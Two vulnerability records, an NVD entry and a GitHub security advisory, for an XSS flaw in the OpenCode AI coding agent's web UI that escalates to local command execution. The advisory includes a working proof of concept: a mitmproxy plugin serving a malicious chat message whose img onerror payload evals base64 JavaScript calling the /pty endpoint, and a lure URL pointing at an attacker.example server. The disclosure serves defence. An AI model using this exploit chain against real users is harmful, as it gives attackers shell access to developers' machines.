{
  "affected": [
    {
      "affectedData": [
        {
          "product": "opencode",
          "vendor": "anomalyco",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.1.10"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:anoma:opencode:*:*:*:*:*:-:*:*",
              "matchCriteriaId": "521FFCAB-C7CA-4867-9674-B8AF2637091E",
              "versionEndExcluding": "1.1.10",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenCode is an open source AI coding agent. The markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection. This means controlling the LLM response for a chat session gets JavaScript execution on the http://localhost:4096 origin. This vulnerability is fixed in 1.1.10."
    },
    {
      "lang": "es",
      "value": "OpenCode es un agente de codificaci\u00f3n de IA de c\u00f3digo abierto. El renderizador de markdown utilizado para las respuestas del LLM insertar\u00e1 HTML arbitrario en el DOM. No hay sanitizaci\u00f3n con DOMPurify ni siquiera una CSP en la interfaz web para evitar la ejecuci\u00f3n de JavaScript a trav\u00e9s de la inyecci\u00f3n de HTML. Esto significa que controlar la respuesta del LLM para una sesi\u00f3n de chat obtiene la ejecuci\u00f3n de JavaScript en el origen http://localhost:4096. Esta vulnerabilidad est\u00e1 corregida en 1.1.10."
    }
  ],
  "id": "CVE-2026-22813",
  "lastModified": "2026-06-17T10:20:28.463",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.4,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "HIGH",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-22813",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-01-13T14:13:29.936632Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-01-12T23:15:53.523",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "opencode-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22813"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T20:36:41Z",
    "nvd_published_at": "2026-01-12T23:15:53Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on `http://localhost:4096`. From there, it is possible to run arbitrary commands on the local system using the `/pty/` endpoints provided by the OpenCode API.\n\n### Code execution via OpenCode API\n\n- The OpenCode API has `/pty/` endpoints that allow spawning arbitrary processes on the local machine.\n- When you run `opencode` in your terminal, OpenCode automatically starts an HTTP server on `localhost:4096` that exposes the API along with a web interface.\n- JavaScript can make arbitrary same-origin `fetch()` requests to the `/pty/` API endpoints. Therefore, JavaScript execution on `http://localhost:4096` gets you code execution on local the machine.\n\n### JavaScript execution on localhost:4096   \n\nThe markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.\n\nThis means controlling the LLM response for a chat session gets you JavaScript execution on the `http://localhost:4096` origin. This alone would not be enough for a 1-click exploit, but there\u0027s functionality in `packages/app/src/app.tsx` to allow specifying a custom server URL in a `?url=...` parameter:\n\n```javascript\n// packages/app/src/app.tsx\nconst defaultServerUrl = iife(() =\u003e {\n  const param = new URLSearchParams(document.location.search).get(\"url\")\n  if (param) return param\n  \n  // [truncated]\n  \n  return window.location.origin\n})\n```\n\nUsing this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display `ses_45d2d9723ffeHN2DLrTYMz4mHn` from the attacker-controlled server at https://opencode.attacker.example.\n\n### Note on exploitability\n\nBecause the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the `?url=` parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of `Fri, 09 Jan 2026 21:36:31 GMT`. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0. \n\n### Proof of Concept\n\nA simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.\n\n1. Spawn an OpenCode instance in a Docker container\n\n```\n$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0\n```\n\n2. Create a file called `plugin.py` with the contents below\n\n```python\nimport base64\nimport json\n\npayload = \"\"\"\n(async () =\u003e {\n    // const ptyInit = {\u0027command\u0027:\u0027/bin/sh\u0027, \u0027args\u0027: [\u0027-c\u0027, \u0027open -F -a Calculator.app\u0027]};\n    const ptyInit = {\u0027command\u0027:\u0027/bin/sh\u0027, \u0027args\u0027: [\u0027-c\u0027, \u0027touch /tmp/albert-was-here.txt\u0027]};\n    const r = await fetch(\u0027/pty\u0027, {method: \u0027POST\u0027, body: JSON.stringify(ptyInit), headers: {\u0027Content-Type\u0027: \u0027application/json\u0027}});\n    const pty_id = (await r.json())[\u0027id\u0027];\n    await new Promise(r =\u003e setTimeout(r, 500));\n    await fetch(\u0027/pty/\u0027 + pty_id, {method: \u0027DELETE\u0027})\n    window.location.replace(\u0027https://example.com\u0027);\n})()\n\"\"\"\n\n# Other messages have been removed from this codeblock for brevity\nmalicious_messages = [\n    #  [truncated]\n    {\n        # [truncated]\n        \"parts\": [\n            # [truncated]\n            {\n                \"id\": \"prt_ba2d26ca0001fcRfwfEZ4bP7gF\",\n                \"sessionID\": \"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\n                \"messageID\": \"msg_ba2d269130016guS0KSZ0FY2J9\",\n                \"type\": \"text\",\n                \"text\": f\"Hello, World!\\n\u003cimg src=\\\"/favicon.png\\\" onerror=\\\"eval(atob(\u0027{base64.b64encode(payload.encode()).decode()}\u0027))\\\" style=\\\"display: none;\\\"\u003e\",\n                \"time\": {\n                    \"start\": 1767963258360,\n                    \"end\": 1767963258360\n                }\n            },\n            # [truncated]\n        ]\n    }\n]\n\nmalicious_session = {\"id\":\"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\"version\":\"1.0.220\",\"projectID\":\"global\",\"directory\":\"/\",\"title\":\"Hello World!\",\"time\":{\"created\":1767963257052,\"updated\":1767963258366},\"summary\":{\"additions\":0,\"deletions\":0,\"files\":0}}\n\nasync def response(flow):\n    if flow.request.path.split(\u0027?\u0027)[0] == \u0027/session\u0027:\n        flow.response.text = json.dumps([malicious_session], separators=(\u0027,\u0027, \u0027:\u0027))\n    elif flow.request.path.split(\u0027?\u0027)[0] == \u0027/session/ses_45d2d9723ffeHN2DLrTYMz4mHn\u0027:\n        flow.response.status_code = 200\n        flow.response.text = json.dumps(malicious_session, separators=(\u0027,\u0027, \u0027:\u0027))\n    elif flow.request.path.split(\u0027?\u0027)[0] == \u0027/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message\u0027:\n        flow.response.text = json.dumps(malicious_messages, separators=(\u0027,\u0027, \u0027:\u0027))\n```\n\n3. Start mitmproxy with the plugin in reverse proxy mode\n\n```\n$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096\n```\n\n4. Start OpenCode in your terminal as the victim\n\n```\n$ opencode\n```\n\n5. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345\n\n6. Confirm the file `albert-was-here.txt` was created in the `/tmp/` directory\n\n```\n$ ls /tmp/\nalbert-was-here.txt\n```",
  "id": "GHSA-c83v-7274-4vgp",
  "modified": "2026-01-13T20:36:42Z",
  "published": "2026-01-13T20:36:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22813"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/anomalyco/opencode"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Malicious website can execute commands on the local system through XSS in the OpenCode web UI"
}